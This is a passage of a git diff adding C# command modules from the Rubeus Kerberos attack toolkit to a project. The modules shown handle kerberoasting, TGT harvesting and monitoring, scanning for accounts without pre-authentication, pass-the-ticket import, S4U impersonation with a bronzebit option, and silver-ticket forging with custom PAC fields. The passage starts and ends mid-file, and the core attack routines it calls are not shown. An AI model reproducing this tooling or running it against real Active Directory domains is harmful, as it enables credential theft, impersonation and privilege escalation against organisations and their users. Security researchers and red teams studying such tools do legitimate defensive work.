targetUser, registryBasePath, nowrap, runFor); + harvester.HarvestTicketGrantingTickets(); + } + } +} diff --git a/inc/kerbtgs/CrackMapCore/Commands/Hash.cs b/inc/kerbtgs/CrackMapCore/Commands/Hash.cs new file mode 100644 index 0000000..a8ec01e --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Hash.cs @@ -0,0 +1,51 @@ +using System; +using System.Collections.Generic; + + +namespace Rubeus.Commands +{ + public class Hash : ICommand + { + public static string CommandName => "hash"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Calculate Password Hash(es)\r\n"); + + string user = ""; + string domain = ""; + string password = ""; + + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + + if (arguments.ContainsKey("/password")) + { + password = arguments["/password"]; + } + else + { + Console.WriteLine("[X] /password:X must be supplied!"); + return; + } + + Crypto.ComputeAllKerberosPasswordHashes(password, user, domain); + } + } +} \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/Commands/ICommand.cs b/inc/kerbtgs/CrackMapCore/Commands/ICommand.cs new file mode 100644 index 0000000..baeebf2 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/ICommand.cs @@ -0,0 +1,9 @@ +using System.Collections.Generic; + +namespace Rubeus.Commands +{ + public interface ICommand + { + void Execute(Dictionary arguments); + } +} \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/Commands/Kerberoast.cs b/inc/kerbtgs/CrackMapCore/Commands/Kerberoast.cs new file mode 100644 index 0000000..0246657 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Kerberoast.cs @@ -0,0 +1,254 @@ +using System; +using System.Collections.Generic; +using System.Text.RegularExpressions; +using System.Text; + + +namespace Rubeus.Commands +{ + public class Kerberoast : ICommand + { + public static string CommandName => "kerberoast"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Kerberoasting\r\n"); + + string spn = ""; + List spns = null; + string user = ""; + string OU = ""; + string outFile = ""; + string domain = ""; + string dc = ""; + string ldapFilter = ""; + string supportedEType = "rc4"; + bool useTGTdeleg = false; + bool listUsers = false; + KRB_CRED TGT = null; + string pwdSetAfter = ""; + string pwdSetBefore = ""; + int resultLimit = 0; + int delay = 0; + int jitter = 0; + bool simpleOutput = false; + bool enterprise = false; + bool autoenterprise = false; + bool ldaps = false; + System.Net.NetworkCredential cred = null; + string nopreauth = null; + + if (arguments.ContainsKey("/spn")) + { + // roast a specific single SPN + spn = arguments["/spn"]; + } + + if (arguments.ContainsKey("/spns")) + { + spns = new List(); + if (System.IO.File.Exists(arguments["/spns"])) + { + string fileContent = Encoding.UTF8.GetString(System.IO.File.ReadAllBytes(arguments["/spns"])); + foreach (string s in fileContent.Split('\n')) + { + if (!String.IsNullOrEmpty(s)) + { + spns.Add(s.Trim()); + } + } + } + else + { + foreach (string s in arguments["/spns"].Split(',')) + { + spns.Add(s); + } + } + } + if (arguments.ContainsKey("/user")) + { + // roast a specific user (or users, comma-separated + user = arguments["/user"]; + } + if (arguments.ContainsKey("/ou")) + { + // roast users from a specific OU + OU = arguments["/ou"]; + } + if (arguments.ContainsKey("/domain")) + { + // roast users from a specific domain + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + // use a specific domain controller for kerberoasting + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/outfile")) + { + // output kerberoasted hashes to a file instead of to the console + outFile = arguments["/outfile"]; + } + if (arguments.ContainsKey("/simple")) + { + // output kerberoasted hashes to the output file format instead, to the console + simpleOutput = true; + } + if (arguments.ContainsKey("/aes")) + { + // search for users w/ AES encryption enabled and request AES tickets + supportedEType = "aes"; + } + if (arguments.ContainsKey("/rc4opsec")) + { + // search for users without AES encryption enabled roast + supportedEType = "rc4opsec"; + } + if (arguments.ContainsKey("/ticket")) + { + // use an existing TGT ticket when requesting/roasting + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + TGT = new KRB_CRED(kirbiBytes); + } + else if (System.IO.File.Exists(kirbi64)) + { + byte[] kirbiBytes = System.IO.File.ReadAllBytes(kirbi64); + TGT = new KRB_CRED(kirbiBytes); + } + else + { + Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + } + + if (arguments.ContainsKey("/usetgtdeleg") || arguments.ContainsKey("/tgtdeleg")) + { + // use the TGT delegation trick to get a delegated TGT to use for roasting + useTGTdeleg = true; + } + + if (arguments.ContainsKey("/pwdsetafter")) + { + // filter for roastable users w/ a pwd set after a specific date + pwdSetAfter = arguments["/pwdsetafter"]; + } + + if (arguments.ContainsKey("/pwdsetbefore")) + { + // filter for roastable users w/ a pwd set before a specific date + pwdSetBefore = arguments["/pwdsetbefore"]; + } + + if (arguments.ContainsKey("/ldapfilter")) + { + // additional LDAP targeting filter + ldapFilter = arguments["/ldapfilter"].Trim('"').Trim('\''); + } + + if (arguments.ContainsKey("/resultlimit")) + { + // limit the number of roastable users + resultLimit = Convert.ToInt32(arguments["/resultlimit"]); + } + + if (arguments.ContainsKey("/delay")) + { + delay = Int32.Parse(arguments["/delay"]); + if(delay < 100) + { + Console.WriteLine("[!] WARNING: delay is in milliseconds! Please enter a value > 100."); + return; + } + } + + if (arguments.ContainsKey("/jitter")) + { + try + { + jitter = Int32.Parse(arguments["/jitter"]); + } + catch { + Console.WriteLine("[X] Jitter must be an integer between 1-100."); + return; + } + if(jitter <= 0 || jitter > 100) + { + Console.WriteLine("[X] Jitter must be between 1-100"); + return; + } + } + + if (arguments.ContainsKey("/stats")) + { + // output stats on the number of kerberoastable users, don't actually roast anything + listUsers = true; + } + + if (arguments.ContainsKey("/enterprise")) + { + // use enterprise principals in the request, requires /spn and (/ticket or /tgtdeleg) + enterprise = true; + } + if (arguments.ContainsKey("/autoenterprise")) + { + // use enterprise principals in the request if roasting with the SPN fails, requires /ticket or /tgtdeleg, does nothing is /spn or /spns is supplied + autoenterprise = true; + } + if (arguments.ContainsKey("/ldaps")) + { + ldaps = true; + } + + if (String.IsNullOrEmpty(domain)) + { + // try to get the current domain + domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + } + + if (arguments.ContainsKey("/creduser")) + { + // provide an alternate user to use for connection creds + if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase)) + { + Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); + return; + } + + string[] parts = arguments["/creduser"].Split('\\'); + string domainName = parts[0]; + string userName = parts[1]; + + // provide an alternate password to use for connection creds + if (!arguments.ContainsKey("/credpassword")) + { + Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); + return; + } + + string password = arguments["/credpassword"]; + + cred = new System.Net.NetworkCredential(userName, password, domainName); + } + + // roast with a user configured to not require pre-auth + if (arguments.ContainsKey("/nopreauth")) + { + nopreauth = arguments["/nopreauth"]; + } + + if (!String.IsNullOrWhiteSpace(nopreauth) && (String.IsNullOrWhiteSpace(spn) && (spns == null || spns.Count < 1))) + { + Console.WriteLine("\r\n[X] /spn or /spns is required when specifying /nopreauth\r\n"); + return; + } + + Roast.Kerberoast(spn, spns, user, OU, domain, dc, cred, outFile, simpleOutput, TGT, useTGTdeleg, supportedEType, pwdSetAfter, pwdSetBefore, ldapFilter, resultLimit, delay, jitter, listUsers, enterprise, autoenterprise, ldaps, nopreauth); + } + } +} \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/Commands/Kirbi.cs b/inc/kerbtgs/CrackMapCore/Commands/Kirbi.cs new file mode 100644 index 0000000..4b62ccc --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Kirbi.cs @@ -0,0 +1,102 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Rubeus.lib.Interop; + +namespace Rubeus.Commands +{ + public class Kirbi : ICommand + { + public static string CommandName => "kirbi"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Modify Kirbi\r\n"); + + KRB_CRED kirbi = null; + byte[] sessionKey = null; + Interop.KERB_ETYPE sessionKeyEtype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + bool ptt = false; + string outfile = ""; + LUID luid = new LUID(); + + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + + if (arguments.ContainsKey("/luid")) + { + try + { + luid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/kirbi")) + { + string kirbi64 = arguments["/kirbi"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + kirbi = new KRB_CRED(kirbiBytes); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + kirbi = new KRB_CRED(kirbiBytes); + } + else + { + Console.WriteLine("\r\n[X] /kirbi:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + return; + } + } + + if (arguments.ContainsKey("/sessionkey")) + { + sessionKey = Helpers.StringToByteArray(arguments["/sessionkey"]); + } + + if (arguments.ContainsKey("/sessionetype")) + { + string encTypeString = arguments["/sessionetype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) + { + sessionKeyEtype = Interop.KERB_ETYPE.rc4_hmac; + } + else if (encTypeString.Equals("AES128")) + { + sessionKeyEtype = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) + { + sessionKeyEtype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + else if (encTypeString.Equals("DES")) + { + sessionKeyEtype = Interop.KERB_ETYPE.des_cbc_md5; + } + else + { + Console.WriteLine("Unsupported etype : {0}", encTypeString); + return; + } + } + + ForgeTickets.ModifyKirbi(kirbi, sessionKey, sessionKeyEtype, ptt, luid, outfile); + } + } +} diff --git a/inc/kerbtgs/CrackMapCore/Commands/Klist.cs b/inc/kerbtgs/CrackMapCore/Commands/Klist.cs new file mode 100644 index 0000000..d0615f9 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Klist.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Klist : ICommand + { + public static string CommandName => "klist"; + + public void Execute(Dictionary arguments) + { + if (Helpers.IsHighIntegrity()) + { + Console.WriteLine("\r\nAction: List Kerberos Tickets (All Users)\r\n"); + } + else + { + Console.WriteLine("\r\nAction: List Kerberos Tickets (Current User)\r\n"); + } + + LUID targetLuid = new LUID(); + string targetUser = ""; + string targetService = ""; + string targetServer = ""; + + if (arguments.ContainsKey("/luid")) + { + try + { + targetLuid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/user")) + { + targetUser = arguments["/user"]; + } + + if (arguments.ContainsKey("/service")) + { + targetService = arguments["/service"]; + } + + if (arguments.ContainsKey("/server")) + { + targetServer = arguments["/server"]; + } + + // extract out the tickets (w/ full data) with the specified targeting options + List sessionCreds = LSA.EnumerateTickets(false, targetLuid, targetService, targetUser, targetServer, true); + // display tickets with the "Full" format + LSA.DisplaySessionCreds(sessionCreds, LSA.TicketDisplayFormat.Klist); + } + } +} \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/Commands/Logonsession.cs b/inc/kerbtgs/CrackMapCore/Commands/Logonsession.cs new file mode 100644 index 0000000..16a9b65 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Logonsession.cs @@ -0,0 +1,81 @@ +using System; +using System.Collections.Generic; +using Rubeus.lib.Interop; + +namespace Rubeus.Commands +{ + public class Logonsession : ICommand + { + public static string CommandName => "logonsession"; + + public void Execute(Dictionary arguments) + { + bool currentOnly = false; + string targetLuidString = ""; + + if (arguments.ContainsKey("/luid")) + { + targetLuidString = arguments["/luid"]; + } + else if (arguments.ContainsKey("/current") || !Helpers.IsHighIntegrity()) + { + currentOnly = true; + Console.WriteLine("\r\n[*] Action: Display current logon session information\r\n"); + } + else + { + Console.WriteLine("\r\n[*] Action: Display all logon session information\r\n"); + } + + List logonSessions = new List(); + + if(!String.IsNullOrEmpty(targetLuidString)) + { + try + { + LUID targetLuid = new LUID(targetLuidString); + LSA.LogonSessionData logonData = LSA.GetLogonSessionData(targetLuid); + logonSessions.Add(logonData); + } + catch + { + Console.WriteLine($"[!] Error parsing luid: {targetLuidString}"); + return; + } + } + else if (currentOnly) + { + // not elevated, so only enumerate current logon session information + LUID currentLuid = Helpers.GetCurrentLUID(); + LSA.LogonSessionData logonData = LSA.GetLogonSessionData(currentLuid); + logonSessions.Add(logonData); + } + else + { + // elevated, so enumerate all logon session information + List sessionLUIDs = LSA.EnumerateLogonSessions(); + + foreach(LUID luid in sessionLUIDs) + { + LSA.LogonSessionData logonData = LSA.GetLogonSessionData(luid); + logonSessions.Add(logonData); + } + } + + foreach(LSA.LogonSessionData logonData in logonSessions) + { + Console.WriteLine($" LUID : {logonData.LogonID} ({(UInt64)logonData.LogonID})"); + Console.WriteLine($" UserName : {logonData.Username}"); + Console.WriteLine($" LogonDomain : {logonData.LogonDomain}"); + Console.WriteLine($" SID : {logonData.Sid}"); + Console.WriteLine($" AuthPackage : {logonData.AuthenticationPackage}"); + Console.WriteLine($" LogonType : {logonData.LogonType} ({(int)logonData.LogonType})"); + Console.WriteLine($" Session : {logonData.Session}"); + Console.WriteLine($" LogonTime : {logonData.LogonTime}"); + Console.WriteLine($" LogonServer : {logonData.LogonServer}"); + Console.WriteLine($" DnsDomainName : {logonData.DnsDomainName}"); + Console.WriteLine($" Upn : {logonData.Upn}\r\n"); + } + } + } +} diff --git a/inc/kerbtgs/CrackMapCore/Commands/Monitor.cs b/inc/kerbtgs/CrackMapCore/Commands/Monitor.cs new file mode 100644 index 0000000..0386a78 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Monitor.cs @@ -0,0 +1,65 @@ +using System; +using System.Collections.Generic; + + +namespace Rubeus.Commands +{ + public class Monitor : ICommand + { + public static string CommandName => "monitor"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: TGT Monitoring"); + + string targetUser = null; + int interval = 60; + string registryBasePath = null; + bool nowrap = false; + int runFor = 0; + + if (arguments.ContainsKey("/nowrap")) + { + nowrap = true; + } + if (arguments.ContainsKey("/filteruser")) + { + targetUser = arguments["/filteruser"]; + } + if (arguments.ContainsKey("/targetuser")) + { + targetUser = arguments["/targetuser"]; + } + if (arguments.ContainsKey("/monitorinterval")) + { + interval = Int32.Parse(arguments["/monitorinterval"]); + } + if (arguments.ContainsKey("/interval")) + { + interval = Int32.Parse(arguments["/interval"]); + } + if (arguments.ContainsKey("/registry")) + { + registryBasePath = arguments["/registry"]; + } + if (arguments.ContainsKey("/runfor")) + { + runFor = Int32.Parse(arguments["/runfor"]); + } + + if (!String.IsNullOrEmpty(targetUser)) + { + Console.WriteLine("[*] Target user : {0:x}", targetUser); + } + Console.WriteLine("[*] Monitoring every {0} seconds for new TGTs", interval); + if (runFor > 0) + { + Console.WriteLine("[*] Running collection for {0} seconds", runFor); + } + Console.WriteLine(""); + + var harvester = new Harvest(interval, interval, false, targetUser, registryBasePath, nowrap, runFor); + harvester.HarvestTicketGrantingTickets(); + } + } +} \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/Commands/Preauthscan.cs b/inc/kerbtgs/CrackMapCore/Commands/Preauthscan.cs new file mode 100644 index 0000000..abf435f --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Preauthscan.cs @@ -0,0 +1,71 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace Rubeus.Commands +{ + public class Preauthscan : ICommand + { + public static string CommandName => "preauthscan"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Scan for accounts not requiring Kerberos Pre-Authentication\r\n"); + + List users = new List(); + string domain = null; + string dc = null; + string proxyUrl = null; + + if (arguments.ContainsKey("/users")) + { + if (System.IO.File.Exists(arguments["/users"])) + { + string fileContent = Encoding.UTF8.GetString(System.IO.File.ReadAllBytes(arguments["/users"])); + foreach (string u in fileContent.Split('\n')) + { + if (!String.IsNullOrWhiteSpace(u)) + { + users.Add(u.Trim()); + } + } + } + else + { + foreach (string u in arguments["/users"].Split(',')) + { + users.Add(u); + } + } + } + + if (users.Count < 1) + { + Console.WriteLine("[X] No usernames to try, exiting."); + return; + } + + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + + if (String.IsNullOrEmpty(domain)) + { + domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + } + + if (arguments.ContainsKey("/proxyurl")) + { + proxyUrl = arguments["/proxyurl"]; + } + + Ask.PreAuthScan(users, domain, dc, proxyUrl); + } + } +} diff --git a/inc/kerbtgs/CrackMapCore/Commands/Ptt.cs b/inc/kerbtgs/CrackMapCore/Commands/Ptt.cs new file mode 100644 index 0000000..4735e5c --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Ptt.cs @@ -0,0 +1,59 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Ptt : ICommand + { + public static string CommandName => "ptt"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Import Ticket"); + + LUID luid = new LUID(); + + if (arguments.ContainsKey("/luid")) + { + try + { + luid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + LSA.ImportTicket(kirbiBytes, luid); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + LSA.ImportTicket(kirbiBytes, luid); + } + else + { + Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + } +} \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/Commands/Purge.cs b/inc/kerbtgs/CrackMapCore/Commands/Purge.cs new file mode 100644 index 0000000..3ebe2f0 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Purge.cs @@ -0,0 +1,34 @@ +using System; +using System.Collections.Generic; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Purge : ICommand + { + public static string CommandName => "purge"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Purge Tickets"); + + LUID luid = new LUID(); + + if (arguments.ContainsKey("/luid")) + { + try + { + luid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + LSA.Purge(luid); + } + } +} \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/Commands/RenewCommand.cs b/inc/kerbtgs/CrackMapCore/Commands/RenewCommand.cs new file mode 100644 index 0000000..552c952 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/RenewCommand.cs @@ -0,0 +1,77 @@ +using System; +using System.Collections.Generic; +using System.IO; + + +namespace Rubeus.Commands +{ + public class RenewCommand : ICommand + { + public static string CommandName => "renew"; + + public void Execute(Dictionary arguments) + { + string outfile = ""; + bool ptt = false; + string dc = ""; + + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + byte[] kirbiBytes = null; + + if (Helpers.IsBase64String(kirbi64)) + { + kirbiBytes = Convert.FromBase64String(kirbi64); + } + else if (File.Exists(kirbi64)) + { + kirbiBytes = File.ReadAllBytes(kirbi64); + } + + if(kirbiBytes == null) + { + Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + else + { + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + if (arguments.ContainsKey("/autorenew")) + { + Console.WriteLine("[*] Action: Auto-Renew Ticket\r\n"); + // if we want to auto-renew the TGT up until the renewal limit + Renew.TGTAutoRenew(kirbi, dc); + } + else + { + Console.WriteLine("[*] Action: Renew Ticket\r\n"); + // otherwise a single renew operation + byte[] blah = Renew.TGT(kirbi, outfile, ptt, dc); + } + } + + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + } +} \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/Commands/S4u.cs b/inc/kerbtgs/CrackMapCore/Commands/S4u.cs new file mode 100644 index 0000000..9e17605 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/S4u.cs @@ -0,0 +1,221 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace Rubeus.Commands +{ + public class S4u : ICommand + { + public static string CommandName => "s4u"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: S4U\r\n"); + + string targetUser = ""; + string targetSPN = ""; + string altSname = ""; + string user = ""; + string domain = ""; + string hash = ""; + string outfile = ""; + bool ptt = false; + string dc = ""; + string targetDomain = ""; + string targetDC = ""; + string impersonateDomain = ""; + bool self = false; + bool opsec = false; + bool bronzebit = false; + bool pac = true; + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; // throwaway placeholder, changed to something valid + KRB_CRED tgs = null; + string proxyUrl = null; + + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/rc4")) + { + hash = arguments["/rc4"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + if (arguments.ContainsKey("/aes256")) + { + hash = arguments["/aes256"]; + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + if (arguments.ContainsKey("/impersonateuser")) + { + if (arguments.ContainsKey("/tgs")) + { + Console.WriteLine("\r\n[X] You must supply either a /impersonateuser or a /tgs, but not both.\r\n"); + return; + } + targetUser = arguments["/impersonateuser"]; + } + if (arguments.ContainsKey("/impersonatedomain")) + { + impersonateDomain = arguments["/impersonatedomain"]; + } + if (arguments.ContainsKey("/targetdomain")) + { + targetDomain = arguments["/targetdomain"]; + } + if (arguments.ContainsKey("/targetdc")) + { + targetDC = arguments["/targetdc"]; + } + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + if (arguments.ContainsKey("/msdsspn")) + { + targetSPN = arguments["/msdsspn"]; + } + + if (arguments.ContainsKey("/altservice")) + { + altSname = arguments["/altservice"]; + } + + if (arguments.ContainsKey("/self")) + { + self = true; + } + + if (arguments.ContainsKey("/opsec")) + { + opsec = true; + } + + if (arguments.ContainsKey("/bronzebit")) + { + bronzebit = true; + } + if (arguments.ContainsKey("/nopac")) + { + pac = false; + } + if (arguments.ContainsKey("/proxyurl")) + { + proxyUrl = arguments["/proxyurl"]; + } + + if (arguments.ContainsKey("/tgs")) + { + string kirbi64 = arguments["/tgs"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + tgs = new KRB_CRED(kirbiBytes); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + tgs = new KRB_CRED(kirbiBytes); + } + else + { + Console.WriteLine("\r\n[X] /tgs:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + return; + } + + targetUser = tgs.enc_part.ticket_info[0].pname.name_string[0]; + } + + if (String.IsNullOrEmpty(domain)) + { + domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; + } + if (String.IsNullOrEmpty(targetUser) && tgs == null) + { + Console.WriteLine("\r\n[X] You must supply a /tgs to impersonate!\r\n"); + Console.WriteLine("[X] Alternatively, supply a /impersonateuser to perform S4U2Self first.\r\n"); + return; + } + if (String.IsNullOrEmpty(targetSPN) && tgs != null) + { + Console.WriteLine("\r\n[X] If a /tgs is supplied, you must also supply a /msdsspn !\r\n"); + return; + } + bool show = arguments.ContainsKey("/show"); + string createnetonly = null; + + if (arguments.ContainsKey("/createnetonly") && !String.IsNullOrWhiteSpace(arguments["/createnetonly"])) + { + createnetonly = arguments["/createnetonly"]; + ptt = true; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, domain, impersonateDomain, proxyUrl, createnetonly, show); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, domain, impersonateDomain, proxyUrl, createnetonly, show); + } + else + { + Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else if (arguments.ContainsKey("/user")) + { + // if the user is supplying a user and rc4/aes256 hash to first execute a TGT request + + user = arguments["/user"]; + + if (String.IsNullOrEmpty(hash)) + { + Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n"); + return; + } + + S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, pac, proxyUrl, createnetonly, show); + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied for S4U!\r\n"); + Console.WriteLine("[X] Alternatively, supply a /user and hash to first retrieve a TGT.\r\n"); + return; + } + } + } +} diff --git a/inc/kerbtgs/CrackMapCore/Commands/Silver.cs b/inc/kerbtgs/CrackMapCore/Commands/Silver.cs new file mode 100644 index 0000000..3933e41 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Silver.cs @@ -0,0 +1,520 @@ +using System; +using System.Collections.Generic; +using System.Globalization; + +namespace Rubeus.Commands +{ + public class Silver : ICommand + { + public static string CommandName => "silver"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Build TGS\r\n"); + + string user = ""; + string service = ""; + int? id = null; + string sids = ""; + string groups = ""; + string displayName = ""; + short? logonCount = null; + short? badPwdCount = null; + DateTime? lastLogon = null; + DateTime? logoffTime = null; + DateTime? pwdLastSet = null; + int? maxPassAge = null; + int? minPassAge = null; + int? pGid = null; + string homeDir = ""; + string homeDrive = ""; + string profilePath = ""; + string scriptPath = ""; + string resourceGroupSid = ""; + List resourceGroups = null; + Interop.PacUserAccountControl uac = Interop.PacUserAccountControl.NORMAL_ACCOUNT; + bool newPac = arguments.ContainsKey("/newpac"); + + string domain = ""; + string dc = ""; + string sid = ""; + string netbios = ""; + + bool ldap = false; + string ldapuser = null; + string ldappassword = null; + + string hash = ""; + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; + byte[] krbKey = null; + Interop.KERB_CHECKSUM_ALGORITHM krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; + + Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent; + + DateTime startTime = DateTime.UtcNow; + DateTime authTime = startTime; + DateTime? rangeEnd = null; + string rangeInterval = "1d"; + string endTime = ""; + string renewTill = ""; + bool extendedUpnDns = arguments.ContainsKey("/extendedupndns"); + + string outfile = ""; + bool ptt = false; + bool printcmd = false; + + string cName = null; + string cRealm = null; + string s4uProxyTarget = null; + string s4uTransitedServices = null; + bool includeAuthData = false; + bool noFullPacSig = arguments.ContainsKey("/nofullpacsig"); + + // user information mostly for the PAC + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + if (arguments.ContainsKey("/sids")) + { + sids = arguments["/sids"]; + } + if (arguments.ContainsKey("/groups")) + { + groups = arguments["/groups"]; + } + if (arguments.ContainsKey("/id")) + { + id = Int32.Parse(arguments["/id"]); + } + if (arguments.ContainsKey("/pgid")) + { + pGid = Int32.Parse(arguments["/pgid"]); + } + if (arguments.ContainsKey("/displayname")) + { + displayName = 